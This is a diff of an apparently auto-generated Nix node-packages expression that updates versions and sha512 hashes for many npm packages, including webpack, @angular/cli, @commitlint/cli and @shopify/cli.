"https://registry.npmjs.org/volar-service-typescript-twoslash-queries/-/volar-service-typescript-twoslash-queries-0.0.29.tgz"; + sha512 = "hdI8ZO1Wc/I5+iwKKnOfXW7ktpBe0qLoXz5+8viS6aV9gycKSAKAs6sayLTATQZcZ1EAESUqTqGS/vJOUgZOsg=="; }; }; "vscode-css-languageservice-3.0.13" = { @@ -58627,13 +58762,13 @@ let sha512 = "2njbTqZ6Q7ZqqK14YpK1GGmaZs3NmuGYF5b7abCXulUIWFSlSYcZ3NBJQRFcMiQDceD7vQknb8FUuvI1F7Qe/g=="; }; }; - "web-streams-polyfill-3.3.2" = { + "web-streams-polyfill-3.3.3" = { name = "web-streams-polyfill"; packageName = "web-streams-polyfill"; - version = "3.3.2"; + version = "3.3.3"; src = fetchurl { - url = "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.2.tgz"; - sha512 = "3pRGuxRF5gpuZc0W+EpwQRmCD7gRqcDOMt688KmdlDAgAyaB1XlN0zq2njfDNm44XVdIouE7pZ6GzbdyH47uIQ=="; + url = "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz"; + sha512 = "d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="; }; }; "web-tree-sitter-0.20.5" = { @@ -58672,13 +58807,13 @@ let sha512 = "BSR9wyRsy/KOValMgd5kMyr3JzpdeoR9KVId8u5GVlTTAtNChlsE4yTxeY7zMdNSyOmoKBv8NH2qeRY9Tg+IaA=="; }; }; - "web3-utils-1.10.3" = { + "web3-utils-1.10.4" = { name = "web3-utils"; packageName = "web3-utils"; - version = "1.10.3"; + version = "1.10.4"; src = fetchurl { - url = "https://registry.npmjs.org/web3-utils/-/web3-utils-1.10.3.tgz"; - sha512 = "OqcUrEE16fDBbGoQtZXWdavsPzbGIDc5v3VrRTZ0XrIpefC/viZ1ZU9bGEemazyS0catk/3rkOOxpzTfY+XsyQ=="; + url = "https://registry.npmjs.org/web3-utils/-/web3-utils-1.10.4.tgz"; + sha512 = "tsu8FiKJLk2PzhDl9fXbGUWTkkVXYhtTA+SmEFkKft+9BgwLxfCRpU96sWv7ICC8zixBNd3JURVoiR3dUXgP8A=="; }; }; "webassemblyjs-1.11.1" = { @@ -58744,13 +58879,13 @@ let sha512 = "VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="; }; }; - "webpack-5.90.0" = { + "webpack-5.90.2" = { name = "webpack"; packageName = "webpack"; - version = "5.90.0"; + version = "5.90.2"; src = fetchurl { - url = "https://registry.npmjs.org/webpack/-/webpack-5.90.0.tgz"; - sha512 = "bdmyXRCXeeNIePv6R6tGPyy20aUobw4Zy8r0LUS2EWO+U+Ke/gYDgsCh7bl5rB6jPpr4r0SZa6dPxBxLooDT3w=="; + url = "https://registry.npmjs.org/webpack/-/webpack-5.90.2.tgz"; + sha512 = "ziXu8ABGr0InCMEYFnHrYweinHK2PWrMqnwdHk2oK3rRhv/1B+2FnfwYv5oD+RrknK/Pp/Hmyvu+eAsaMYhzCw=="; }; }; "webpack-cli-5.1.4" = { @@ -58780,6 +58915,15 @@ let sha512 = "hj5CYrY0bZLB+eTO+x/j67Pkrquiy7kWepMHmUMoPsmcUaeEnQJqFzHJOyxgWlq746/wUuA64p9ta34Kyb01pA=="; }; }; + "webpack-dev-middleware-7.0.0" = { + name = "webpack-dev-middleware"; + packageName = "webpack-dev-middleware"; + version = "7.0.0"; + src = fetchurl { + url = "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-7.0.0.tgz"; + sha512 = "tZ5hqsWwww/8DislmrzXE3x+4f+v10H1z57mA2dWFrILb4i3xX+dPhTkcdR0DLyQztrhF2AUmO5nN085UYjd/Q=="; + }; + }; "webpack-dev-server-4.15.1" = { name = "webpack-dev-server"; packageName = "webpack-dev-server"; @@ -59041,13 +59185,13 @@ let sha512 = "Lhs9Pmyph0p5n5Z3mVnN0yWcbQYUAD7rbQUiMsQxOJ3T57k7RFe35SUwWMf7dsbDZks1uOmw4AecB/JMDj3v/w=="; }; }; - "which-typed-array-1.1.13" = { + "which-typed-array-1.1.14" = { name = "which-typed-array"; packageName = "which-typed-array"; - version = "1.1.13"; + version = "1.1.14"; src = fetchurl { - url = "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.13.tgz"; - sha512 = "P5Nra0qjSncduVPEAr7xhoF5guty49ArDTwzJ/yNuPIbZppyRxFQsRCWrocxIY+CnMVG+qfbU2FmDKyvSGClow=="; + url = "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.14.tgz"; + sha512 = "VnXFiIW8yNn9kIHN88xvZ4yOWchftKDsRJ8fEPacX/wl1lOvBrhsJ/OeJCXq7B0AaijRuqgzSKalJoPk+D8MPg=="; }; }; "wide-align-1.1.5" = { @@ -59203,22 +59347,13 @@ let sha512 = "L3yR6/MzZAOl0DsysUXHVjOwv8mKZ71TrA/41EIduGpOOV5LQVodqN+QdQ6BS6PJ/RdIshZhq84P/fStEZkk7g=="; }; }; - "winston-3.3.3" = { - name = "winston"; - packageName = "winston"; - version = "3.3.3"; - src = fetchurl { - url = "https://registry.npmjs.org/winston/-/winston-3.3.3.tgz"; - sha512 = "oEXTISQnC8VlSAKf1KYSSd7J6IWuRPQqDdo8eoRNaYKLvwSb5+79Z3Yi1lrl6KDpU6/VWaxpakDAtb1oQ4n9aw=="; - }; - }; - "winston-transport-4.6.0" = { + "winston-transport-4.7.0" = { name = "winston-transport"; packageName = "winston-transport"; - version = "4.6.0"; + version = "4.7.0"; src = fetchurl { - url = "https://registry.npmjs.org/winston-transport/-/winston-transport-4.6.0.tgz"; - sha512 = "wbBA9PbPAHxKiygo7ub7BYRiKxms0tpfU2ljtWzb3SjRjv5yl6Ozuy/TkXf00HTAt+Uylo3gSkNwzc4ME0wiIg=="; + url = "https://registry.npmjs.org/winston-transport/-/winston-transport-4.7.0.tgz"; + sha512 = "ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="; }; }; "with-7.0.2" = { @@ -60455,13 +60590,13 @@ let sha512 = "4WDF9bNWWXe8OAI319bVw5dmG4BklEk8wzFGwRQxEzKb+0mgDU5J/jtyZPo0BEusVIU1+3mRQIEdT5LtQn+aAw=="; }; }; - "zimmerframe-1.1.0" = { + "zimmerframe-1.1.2" = { name = "zimmerframe"; packageName = "zimmerframe"; - version = "1.1.0"; + version = "1.1.2"; src = fetchurl { - url = "https://registry.npmjs.org/zimmerframe/-/zimmerframe-1.1.0.tgz"; - sha512 = "+AmV37r9NPUy7KcuG0Fde9AAFSD88kN5pnqvD7Pkp5WLLK0jct7hAtIDXXFDCRk3l5Mc1r2Sth3gfP2ZLE+/Qw=="; + url = "https://registry.npmjs.org/zimmerframe/-/zimmerframe-1.1.2.tgz"; + sha512 = "rAbqEGa8ovJy4pyBxZM70hg4pE6gDgaQ0Sl9M3enG3I0d6H4XSAM3GeNGLKnsBpuijUow064sf7ww1nutC5/3w=="; }; }; "zip-stream-2.1.3" = { @@ -60542,15 +60677,15 @@ in "@angular/cli" = nodeEnv.buildNodePackage { name = "_at_angular_slash_cli"; packageName = "@angular/cli"; - version = "17.1.2"; + version = "17.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@angular/cli/-/cli-17.1.2.tgz"; - sha512 = "U1W6XZNrfeRkXW2fO3AU25rRttqZahVkhzcK3lAtJ8+lSrStCOF7x1gz6tmFZFte1fNHQrXqD0yIDkd8H2/cvw=="; + url = "https://registry.npmjs.org/@angular/cli/-/cli-17.2.0.tgz"; + sha512 = "JSfNQB76qrc8QNPLUvvqR10T4+WUrfz+ogmOliO+jAdhbpfZQ4tIt0WwUYvo+0foM8x7hTe3Wdhg8zWwteBnuw=="; }; dependencies = [ - sources."@angular-devkit/architect-0.1701.2" - sources."@angular-devkit/core-17.1.2" - sources."@angular-devkit/schematics-17.1.2" + sources."@angular-devkit/architect-0.1702.0" + sources."@angular-devkit/core-17.2.0" + sources."@angular-devkit/schematics-17.2.0" (sources."@isaacs/cliui-8.0.2" // { dependencies = [ sources."ansi-regex-6.0.1" @@ -60563,7 +60698,7 @@ in }) sources."@jridgewell/sourcemap-codec-1.4.15" sources."@ljharb/through-2.3.12" - sources."@npmcli/agent-2.2.0" + sources."@npmcli/agent-2.2.1" sources."@npmcli/fs-3.1.0" sources."@npmcli/git-5.0.4" sources."@npmcli/installed-package-contents-2.0.2" @@ -60571,13 +60706,13 @@ in sources."@npmcli/package-json-5.0.0" sources."@npmcli/promise-spawn-7.0.1" sources."@npmcli/run-script-7.0.4" - sources."@schematics/angular-17.1.2" - sources."@sigstore/bundle-2.1.1" - sources."@sigstore/core-0.2.0" - sources."@sigstore/protobuf-specs-0.2.1" - sources."@sigstore/sign-2.2.1" - sources."@sigstore/tuf-2.3.0" - sources."@sigstore/verify-0.1.0" + sources."@schematics/angular-17.2.0" + sources."@sigstore/bundle-2.2.0" + sources."@sigstore/core-1.0.0" + sources."@sigstore/protobuf-specs-0.3.0" + sources."@sigstore/sign-2.2.3" + sources."@sigstore/tuf-2.3.1" + sources."@sigstore/verify-1.1.0" sources."@tufjs/canonical-json-2.0.0" sources."@tufjs/models-2.0.0" sources."@yarnpkg/lockfile-1.1.0" @@ -60604,10 +60739,10 @@ in sources."buffer-5.7.1" sources."builtins-5.0.1" sources."cacache-18.0.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."chalk-5.3.0" sources."chardet-0.7.0" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."chownr-2.0.0" sources."clean-stack-2.2.0" sources."cli-cursor-3.1.0" @@ -60629,18 +60764,20 @@ in }) sources."debug-4.3.4" sources."defaults-1.0.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-lazy-prop-2.0.0" sources."eastasianwidth-0.2.0" sources."emoji-regex-8.0.0" sources."env-paths-2.2.1" sources."err-code-2.0.3" - sources."escalade-3.1.1" - sources."escape-string-regexp-5.0.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" + sources."escalade-3.1.2" + sources."escape-string-regexp-1.0.5" sources."exponential-backoff-3.1.1" sources."external-editor-3.1.0" sources."fast-deep-equal-3.1.3" - sources."figures-5.0.0" + sources."figures-3.2.0" sources."fill-range-7.0.1" (sources."foreground-child-3.1.1" // { dependencies = [ @@ -60648,23 +60785,22 @@ in ]; }) sources."fs-minipass-3.0.3" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-10.3.10" sources."glob-parent-5.1.2" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-7.0.1" sources."http-cache-semantics-4.1.1" - sources."http-proxy-agent-7.0.0" - sources."https-proxy-agent-7.0.2" + sources."http-proxy-agent-7.0.2" + sources."https-proxy-agent-7.0.4" sources."iconv-lite-0.4.24" sources."ieee754-1.2.1" sources."ignore-walk-6.0.4" @@ -60672,8 +60808,8 @@ in sources."indent-string-4.0.0" sources."inherits-2.0.4" sources."ini-4.1.1" - sources."inquirer-9.2.12" - sources."ip-2.0.0" + sources."inquirer-9.2.14" + sources."ip-address-9.0.5" sources."is-binary-path-2.1.0" sources."is-core-module-2.13.1" sources."is-docker-2.2.1" @@ -60683,23 +60819,23 @@ in sources."is-interactive-1.0.0" sources."is-lambda-1.0.1" sources."is-number-7.0.0" - sources."is-unicode-supported-1.3.0" + sources."is-unicode-supported-0.1.0" sources."is-wsl-2.2.0" sources."isexe-3.1.1" sources."jackspeak-2.3.6" + sources."jsbn-1.1.0" sources."json-parse-even-better-errors-3.0.1" sources."json-schema-traverse-1.0.0" - sources."jsonc-parser-3.2.0" + sources."jsonc-parser-3.2.1" sources."jsonparse-1.3.1" sources."lodash-4.17.21" (sources."log-symbols-4.1.0" // { dependencies = [ sources."chalk-4.1.2" - sources."is-unicode-supported-0.1.0" ]; }) sources."lru-cache-10.2.0" - sources."magic-string-0.30.5" + sources."magic-string-0.30.7" sources."make-fetch-happen-13.0.0" sources."mimic-fn-2.1.0" sources."minimatch-9.0.3" @@ -60751,16 +60887,15 @@ in (sources."ora-5.4.1" // { dependencies = [ sources."chalk-4.1.2" - sources."is-unicode-supported-0.1.0" ]; }) sources."os-tmpdir-1.0.2" sources."p-map-4.0.0" - sources."pacote-17.0.5" + sources."pacote-17.0.6" sources."path-key-3.1.1" sources."path-parse-1.0.7" sources."path-scurry-1.10.1" - sources."picomatch-3.0.1" + sources."picomatch-4.0.1" sources."proc-log-3.0.0" sources."promise-inflight-1.0.1" sources."promise-retry-2.0.1" @@ -60782,24 +60917,25 @@ in sources."rxjs-7.8.1" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; }) - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."signal-exit-3.0.7" - sources."sigstore-2.2.0" + sources."sigstore-2.2.2" sources."smart-buffer-4.2.0" - sources."socks-2.7.1" + sources."socks-2.8.0" sources."socks-proxy-agent-8.0.2" sources."source-map-0.7.4" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" + sources."sprintf-js-1.1.3" sources."ssri-10.0.5" sources."string-width-4.2.3" sources."string-width-cjs-4.2.3" @@ -60870,13 +61006,13 @@ in "@astrojs/language-server" = nodeEnv.buildNodePackage { name = "_at_astrojs_slash_language-server"; packageName = "@astrojs/language-server"; - version = "2.6.2"; + version = "2.7.4"; src = fetchurl { - url = "https://registry.npmjs.org/@astrojs/language-server/-/language-server-2.6.2.tgz"; - sha512 = "RYzPRhS/WBXK5JtfR+0+nGj+N3VbJd5jU/uSNUev9baUx/RLmUwDk1f6Oy8QDEfDDLAr76Ig8YeDD/nxPdBSLw=="; + url = "https://registry.npmjs.org/@astrojs/language-server/-/language-server-2.7.4.tgz"; + sha512 = "U317ZKx5VXg2Sy6iPgYOliOZ10Ji/eo8MGFCry2/yT+rYTfb81HbrSWUu9nsZzpFK66So5aprQutRWWM/m7mPQ=="; }; dependencies = [ - sources."@astrojs/compiler-2.5.2" + sources."@astrojs/compiler-2.5.3" sources."@emmetio/abbreviation-2.3.3" sources."@emmetio/css-abbreviation-2.1.8" sources."@emmetio/scanner-1.0.4" @@ -60884,12 +61020,13 @@ in sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@volar/kit-1.11.1" - sources."@volar/language-core-1.11.1" - sources."@volar/language-server-1.11.1" - sources."@volar/language-service-1.11.1" - sources."@volar/source-map-1.11.1" - sources."@volar/typescript-1.11.1" + sources."@volar/kit-2.0.4" + sources."@volar/language-core-2.0.4" + sources."@volar/language-server-2.0.4" + sources."@volar/language-service-2.0.4" + sources."@volar/snapshot-document-2.0.4" + sources."@volar/source-map-2.0.4" + sources."@volar/typescript-2.0.4" (sources."@vscode/emmet-helper-2.9.2" // { dependencies = [ sources."vscode-uri-2.1.2" @@ -60899,7 +61036,7 @@ in sources."braces-3.0.2" sources."emmet-2.4.6" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."glob-parent-5.1.2" sources."is-extglob-2.1.1" @@ -60909,10 +61046,10 @@ in sources."lru-cache-6.0.0" sources."merge2-1.4.1" sources."micromatch-4.0.5" - sources."muggle-string-0.3.1" + sources."muggle-string-0.4.1" sources."path-browserify-1.0.1" sources."picomatch-2.3.1" - sources."prettier-3.2.4" + sources."prettier-3.2.5" (sources."prettier-plugin-astro-0.13.0" // { dependencies = [ sources."@astrojs/compiler-1.8.2" @@ -60924,18 +61061,18 @@ in sources."run-parallel-1.2.0" sources."s.color-0.0.15" sources."sass-formatter-0.7.9" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."suf-log-2.5.3" sources."to-regex-range-5.0.1" sources."typesafe-path-0.2.2" sources."typescript-5.3.3" sources."typescript-auto-import-cache-0.3.2" - sources."volar-service-css-0.0.17" - sources."volar-service-emmet-0.0.17" - sources."volar-service-html-0.0.17" - sources."volar-service-prettier-0.0.17" - sources."volar-service-typescript-0.0.17" - sources."volar-service-typescript-twoslash-queries-0.0.17" + sources."volar-service-css-0.0.29" + sources."volar-service-emmet-0.0.29" + sources."volar-service-html-0.0.29" + sources."volar-service-prettier-0.0.29" + sources."volar-service-typescript-0.0.29" + sources."volar-service-typescript-twoslash-queries-0.0.29" (sources."vscode-css-languageservice-6.2.12" // { dependencies = [ sources."@vscode/l10n-0.0.18" @@ -61005,15 +61142,15 @@ in sources."@babel/traverse-7.23.9" sources."@babel/types-7.23.9" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" sources."ansi-styles-3.2.1" sources."balanced-match-1.0.2" sources."brace-expansion-1.1.11" - sources."browserslist-4.22.3" - sources."caniuse-lite-1.0.30001582" + sources."browserslist-4.23.0" + sources."caniuse-lite-1.0.30001587" sources."chalk-2.4.2" sources."color-convert-1.9.3" sources."color-name-1.1.3" @@ -61021,8 +61158,8 @@ in sources."concat-map-0.0.1" sources."convert-source-map-2.0.0" sources."debug-4.3.4" - sources."electron-to-chromium-1.4.653" - sources."escalade-3.1.1" + sources."electron-to-chromium-1.4.673" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."fs-readdir-recursive-1.1.0" sources."fs.realpath-1.0.0" @@ -61065,10 +61202,10 @@ in "@commitlint/cli" = nodeEnv.buildNodePackage { name = "_at_commitlint_slash_cli"; packageName = "@commitlint/cli"; - version = "18.6.0"; + version = "18.6.1"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/cli/-/cli-18.6.0.tgz"; - sha512 = "FiH23cr9QG8VdfbmvJJZmdfHGVMCouOOAzoXZ3Cd7czGC52RbycwNt8YCI7SA69pAl+t30vh8LMaO/N+kcel6w=="; + url = "https://registry.npmjs.org/@commitlint/cli/-/cli-18.6.1.tgz"; + sha512 = "5IDE0a+lWGdkOvKH892HHAZgbAjcj1mT5QrfA/SVbLJV/BbBMGyKN0W5mhgjekPJJwEQdVNvhl9PwUacY58Usw=="; }; dependencies = [ (sources."@babel/code-frame-7.23.5" // { @@ -61092,23 +61229,23 @@ in sources."supports-color-5.5.0" ]; }) - sources."@commitlint/config-validator-18.6.0" - sources."@commitlint/ensure-18.6.0" - sources."@commitlint/execute-rule-18.4.4" - sources."@commitlint/format-18.6.0" - sources."@commitlint/is-ignored-18.6.0" - sources."@commitlint/lint-18.6.0" - sources."@commitlint/load-18.6.0" - sources."@commitlint/message-18.4.4" - sources."@commitlint/parse-18.6.0" - sources."@commitlint/read-18.6.0" - sources."@commitlint/resolve-extends-18.6.0" - sources."@commitlint/rules-18.6.0" - sources."@commitlint/to-lines-18.4.4" - sources."@commitlint/top-level-18.4.4" - sources."@commitlint/types-18.6.0" + sources."@commitlint/config-validator-18.6.1" + sources."@commitlint/ensure-18.6.1" + sources."@commitlint/execute-rule-18.6.1" + sources."@commitlint/format-18.6.1" + sources."@commitlint/is-ignored-18.6.1" + sources."@commitlint/lint-18.6.1" + sources."@commitlint/load-18.6.1" + sources."@commitlint/message-18.6.1" + sources."@commitlint/parse-18.6.1" + sources."@commitlint/read-18.6.1" + sources."@commitlint/resolve-extends-18.6.1" + sources."@commitlint/rules-18.6.1" + sources."@commitlint/to-lines-18.6.1" + sources."@commitlint/top-level-18.6.1" + sources."@commitlint/types-18.6.1" sources."@types/minimist-1.2.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/normalize-package-data-2.4.4" sources."JSONStream-1.3.5" sources."ajv-8.12.0" @@ -61140,7 +61277,7 @@ in sources."dot-prop-5.3.0" sources."emoji-regex-8.0.0" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."execa-5.1.1" sources."fast-deep-equal-3.1.3" @@ -61157,7 +61294,7 @@ in sources."global-dirs-0.1.1" sources."hard-rejection-2.1.0" sources."has-flag-4.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-4.1.0" sources."human-signals-2.1.0" (sources."import-fresh-3.3.0" // { @@ -61243,14 +61380,14 @@ in sources."resolve-from-5.0.0" sources."resolve-global-1.0.0" sources."safe-buffer-5.2.1" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."signal-exit-3.0.7" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split2-4.2.0" sources."string-width-4.2.3" sources."string_decoder-1.3.0" @@ -61294,17 +61431,24 @@ in "@commitlint/config-conventional" = nodeEnv.buildNodePackage { name = "_at_commitlint_slash_config-conventional"; packageName = "@commitlint/config-conventional"; - version = "18.6.0"; + version = "18.6.2"; src = fetchurl { - url = "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-18.6.0.tgz"; - sha512 = "CDCOf2eJz9D/TL44IBks0stM9TmdLCNE2B48owIU3YCadwzts/bobXPScagIgPQF6hhKYMEdj5zpUDlmbwuqwQ=="; + url = "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-18.6.2.tgz"; + sha512 = "PcgSYg1AKGQIwDQKbaHtJsfqYy4uJTC7crLVZ83lfjcPaec4Pry2vLeaWej7ao2KsT20l9dWoMPpEGg8LWdUuA=="; }; dependencies = [ + sources."@commitlint/types-18.6.1" + sources."ansi-styles-4.3.0" sources."array-ify-1.0.0" + sources."chalk-4.1.2" + sources."color-convert-2.0.1" + sources."color-name-1.1.4" sources."compare-func-2.0.0" sources."conventional-changelog-conventionalcommits-7.0.2" sources."dot-prop-5.3.0" + sources."has-flag-4.0.0" sources."is-obj-2.0.0" + sources."supports-color-7.2.0" ]; buildInputs = globalBuildInputs; meta = { @@ -61330,13 +61474,15 @@ in sources."tslib-2.6.2" ]; }) - (sources."@azure/core-auth-1.5.0" // { + (sources."@azure/core-auth-1.6.0" // { dependencies = [ + sources."@azure/abort-controller-2.0.0" sources."tslib-2.6.2" ]; }) - (sources."@azure/core-client-1.7.3" // { + (sources."@azure/core-client-1.8.0" // { dependencies = [ + sources."@azure/abort-controller-2.0.0" sources."tslib-2.6.2" ]; }) @@ -61347,8 +61493,9 @@ in sources."tslib-2.6.2" ]; }) - (sources."@azure/core-lro-2.5.4" // { + (sources."@azure/core-lro-2.6.0" // { dependencies = [ + sources."@azure/abort-controller-2.0.0" sources."tslib-2.6.2" ]; }) @@ -61357,8 +61504,9 @@ in sources."tslib-2.6.2" ]; }) - (sources."@azure/core-rest-pipeline-1.13.0" // { + (sources."@azure/core-rest-pipeline-1.14.0" // { dependencies = [ + sources."@azure/abort-controller-2.0.0" sources."tslib-2.6.2" ]; }) @@ -61367,8 +61515,9 @@ in sources."tslib-2.6.2" ]; }) - (sources."@azure/core-util-1.6.1" // { + (sources."@azure/core-util-1.7.0" // { dependencies = [ + sources."@azure/abort-controller-2.0.0" sources."tslib-2.6.2" ]; }) @@ -61382,9 +61531,9 @@ in sources."tslib-2.6.2" ]; }) - sources."@azure/msal-browser-3.7.1" - sources."@azure/msal-common-14.6.1" - sources."@azure/msal-node-2.6.2" + sources."@azure/msal-browser-3.10.0" + sources."@azure/msal-common-14.7.1" + sources."@azure/msal-node-2.6.4" (sources."@azure/storage-blob-12.17.0" // { dependencies = [ sources."@azure/core-tracing-1.0.0-preview.13" @@ -61406,7 +61555,7 @@ in sources."@babel/types-7.23.9" sources."@devexpress/error-stack-parser-2.0.6" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -61416,7 +61565,7 @@ in sources."@nodelib/fs.walk-1.2.8" sources."@opentelemetry/api-1.7.0" sources."@pnpm/crypto.base32-hash-2.0.0" - sources."@pnpm/dependency-path-2.1.7" + sources."@pnpm/dependency-path-2.1.8" sources."@pnpm/error-1.4.0" (sources."@pnpm/link-bins-5.3.25" // { dependencies = [ @@ -61482,16 +61631,16 @@ in sources."@types/lodash-4.14.202" sources."@types/minimatch-3.0.5" sources."@types/minimist-1.2.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/node-fetch-2.6.2" sources."@types/normalize-package-data-2.4.4" sources."@types/parse-json-4.0.2" sources."@types/tunnel-0.0.3" - sources."@vue/compiler-core-3.4.15" - sources."@vue/compiler-dom-3.4.15" - sources."@vue/compiler-sfc-3.4.15" - sources."@vue/compiler-ssr-3.4.15" - sources."@vue/shared-3.4.15" + sources."@vue/compiler-core-3.4.19" + sources."@vue/compiler-dom-3.4.19" + sources."@vue/compiler-sfc-3.4.19" + sources."@vue/compiler-ssr-3.4.19" + sources."@vue/shared-3.4.19" sources."@yarnpkg/lockfile-1.0.2" sources."@zkochan/cmd-shim-5.4.1" sources."agent-base-6.0.2" @@ -61625,7 +61774,7 @@ in sources."end-of-stream-1.4.4" sources."entities-4.5.0" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-goat-2.1.1" sources."escape-string-regexp-1.0.5" sources."esprima-4.0.1" @@ -61636,7 +61785,7 @@ in sources."external-editor-3.1.0" sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."figures-3.0.0" sources."fill-range-7.0.1" sources."find-up-4.1.0" @@ -61684,7 +61833,7 @@ in sources."hard-rejection-2.1.0" sources."has-flag-3.0.0" sources."has-yarn-2.1.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" (sources."highlight-es-1.0.3" // { dependencies = [ sources."js-tokens-3.0.2" @@ -61811,7 +61960,7 @@ in }) sources."lowercase-keys-1.0.1" sources."lru-cache-6.0.0" - sources."magic-string-0.30.6" + sources."magic-string-0.30.7" (sources."make-dir-3.1.0" // { dependencies = [ sources."semver-6.3.1" @@ -61934,7 +62083,7 @@ in ]; }) sources."please-upgrade-node-3.2.0" - sources."postcss-8.4.33" + sources."postcss-8.4.35" (sources."preferred-pm-3.1.2" // { dependencies = [ sources."find-up-5.0.0" @@ -62023,9 +62172,9 @@ in sources."sort-keys-4.2.0" sources."source-map-js-1.0.2" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."sprintf-js-1.0.3" sources."ssri-8.0.1" sources."stackframe-1.3.4" @@ -62127,10 +62276,10 @@ in "@shopify/cli" = nodeEnv.buildNodePackage { name = "_at_shopify_slash_cli"; packageName = "@shopify/cli"; - version = "3.55.2"; + version = "3.56.1"; src = fetchurl { - url = "https://registry.npmjs.org/@shopify/cli/-/cli-3.55.2.tgz"; - sha512 = "HZwdrILd0lbPrOV5BLanGWL7ctMbvuUaO4qV9wHozdxjVj6/RHjpKMkbGj5hTNnjX6iV7cYZU7JQSafQQsX3Xw=="; + url = "https://registry.npmjs.org/@shopify/cli/-/cli-3.56.1.tgz"; + sha512 = "sS9BmvCcF+3XmGwwaNfXqZ9ymJLaJ3eabA+CK5YIIKMIsQYtsG3BJJK0KNJbHkBJnT0fpkAX8moI4i7Zdw6/Gg=="; }; dependencies = [ (sources."@alcalzone/ansi-tokenize-0.1.3" // { @@ -62139,7 +62288,7 @@ in sources."is-fullwidth-code-point-4.0.0" ]; }) - sources."@bugsnag/browser-7.22.3" + sources."@bugsnag/browser-7.22.4" sources."@bugsnag/core-7.19.0" sources."@bugsnag/cuid-3.0.2" sources."@bugsnag/js-7.21.0" @@ -62148,7 +62297,7 @@ in sources."@cspotcode/source-map-support-0.8.1" sources."@graphql-typed-document-node/core-3.2.0" sources."@iarna/toml-2.2.5" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@kwsites/file-exists-1.1.1" @@ -62222,7 +62371,7 @@ in ]; }) sources."@pnpm/npm-conf-2.2.2" - (sources."@shopify/cli-kit-3.55.2" // { + (sources."@shopify/cli-kit-3.56.1" // { dependencies = [ sources."ansi-escapes-6.2.0" sources."ansi-regex-6.0.1" @@ -62231,19 +62380,20 @@ in sources."fast-glob-3.3.1" sources."fs-extra-11.1.0" sources."js-yaml-4.1.0" + sources."semver-7.5.4" 